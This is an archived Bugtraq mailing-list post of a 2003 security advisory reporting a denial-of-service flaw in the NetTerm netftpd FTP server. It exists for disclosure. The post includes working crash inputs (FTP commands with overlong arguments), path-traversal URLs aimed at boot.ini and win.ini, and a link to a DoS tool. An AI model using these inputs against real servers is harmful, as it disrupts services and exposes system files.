Netterm netftpd - Remote DoS

From: morning_wood (se_cur_ity_at_hotmail.com)
Date: 07/20/03

  • Next message: gr00vy: "Path disclosure and file retrieving in AtomicBoard-0.6.2"
    To: <bugtraq@securityfocus.com>
    Date: Sat, 19 Jul 2003 22:21:52 -0700
    
    

    ------------------------------------------------------------------
              - EXPL-A-2003-017 exploitlabs.com Advisory 017
    ------------------------------------------------------------------
                             -= netterm netftpd =-

    Vunerability(s):
    ----------------
    1. Remote / Local Denial of Service

    Product:
    --------
    netftpd.exe - integral to netterm - 4.2.8.e(i) [current]
    all versions through current are affected

    Description of product:
    -----------------------
    "NetTerm is a Windows based terminal emulator with fast zmodem file
    transfers. It can also
    be used as a dialer program for SLIP/PPP and includes a built in scripting
    language.
    For Internet hosts, the telnet protocol is enabled with VT100 and full ANSI
    graphics. A
    ftp server is included. Transparent printing and local host editing is
    supported for UNIX.
    nt3242e.exe - 32 bit InterSoft@compuserve.com"

    binary package - http://www.securenetterm.com/pub/nt3242ei.exe

    mainpage - http://www.netterm.com
    more info - http://securenetterm.com/html/downloads.html

    VUNERABILITY / EXPLOIT
    ======================

    by default netftpd uses c:\ as its base ftproot

    netftpd.exe started with defaults
    server: Windows XP Professional

    ----------- snip -------------

    root@linuxbitch:/#ftp vunerable[host].com
    220 NetTerm FTP server ready

    [ctllf][ctllf]

    ftp>cd /windows/system32

    ftp>ls ( or dir )

    ---------- snip --------------

    remote ftpd server crashes

    note: with logging and trace enabled in the options,
    netftpd does not log any commands when crashed

    sample crash output..

    error1:
    The instruction at "0x77f551c0" referenced memory at "0x00000000". the
    memory could not be "read"
    Click OK to terminate program
    error2:
    The instruction at "0x77f5310f" referenced memory at "0x656e776f" the
    memory could not be "written"
    Click OK to terminate program

    these produce some odd behavior as well ( in a browser )

    ftp://[host]/c:%5C/c:%5C/../../
    ftp://[host]/c:%5C/../../././././././././
    ftp://[host]/../boot.ini

    DrInsane helped with these...

    If you send any of these ftp server will crash:)Even the user command has
    problem.

    Cwd [a] * 518
    User [a] * 1110
    List [a] * 518
    Stu [a] * 518
    Port [a] * 1110
    Type [a] * 1110
    Mkd [a] * 1110
    Dele [a] * 1110
    Rmd [a] * 1110

    You can also try to give strings in you browser using HTML chars like:
    (just for fun)
    /%5c..%5c..%5c..%5cwindows%5cwin%2eini
    /error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cautoexec.bat

    DrInsane also has writen a sample prog that will crash the ftp.
    (http://members.lycos.co.uk/r34ct/main/godzillaDosTool/).

    Local:
    ------
    yes

    Remote:
    -------
    yes

    Vendor Fix:
    -----------
    No fix on 0day

    Vendor Contact:
    ---------------
    Concurrent with this advisory
    support@securenetterm.com

    Credits:
    --------
    Donnie Werner
    morning_wood@exploitlabs.com
    http://exploitlabs.com

    I would like to thank DrInsane and Nutcase for the input and help testing

    Original advisory at
    http://exploitlabs.com/files/advisories/EXPL-A-2003-017-netftpd.txt


  • Next message: gr00vy: "Path disclosure and file retrieving in AtomicBoard-0.6.2"

    Relevant Pages

    • [Full-Disclosure] Netterm netftpd - Remote DoS
      ... Remote / Local Denial of Service ... 220 NetTerm FTP server ready ... The instruction at "0x77f551c0" referenced memory at "0x00000000". ... Click OK to terminate program ...
      (Full-Disclosure)
    • Re: Identifying computers running given program ?
      ... computers and then terminate the execution of program "A". ... Dim objRootDSE, strDNSDomain, objTrans, strNetBIOSDomain ... On Error GoTo 0 ... ' Subroutine to check if a program is running on a remote computer. ...
      (microsoft.public.vb.general.discussion)
    • Re: NIS & XP firewall [Re: XP and Norton Firewalls]
      ... what you're running into is the default Trojan Block Rule for Soket de ... Category: NIS System Protection ... Remote service: Any Service ... <fully-qualified path to your FTP SERVER application> ...
      (comp.security.firewalls)
    • [NT] Hyperion FTP Server Buffer Overflow (dir)
      ... FTP server for Windows 95/98/NT/2000, and supports all basic FTP commands, ... A vulnerability in the server allows ... a remote attacker to overflow an internal buffer causing it to execute ... This command will overflow an internal buffer, ...
      (Securiteam)
    • RE: End Program - Change Default Behaviour
      ... Since the MMC provides the functionality to remote reboot other ... script before prompting to kill a few other programs, just like windows shuts ... terminate, prompting an "End Program" dialog from Windows. ...
      (microsoft.public.windowsxp.help_and_support)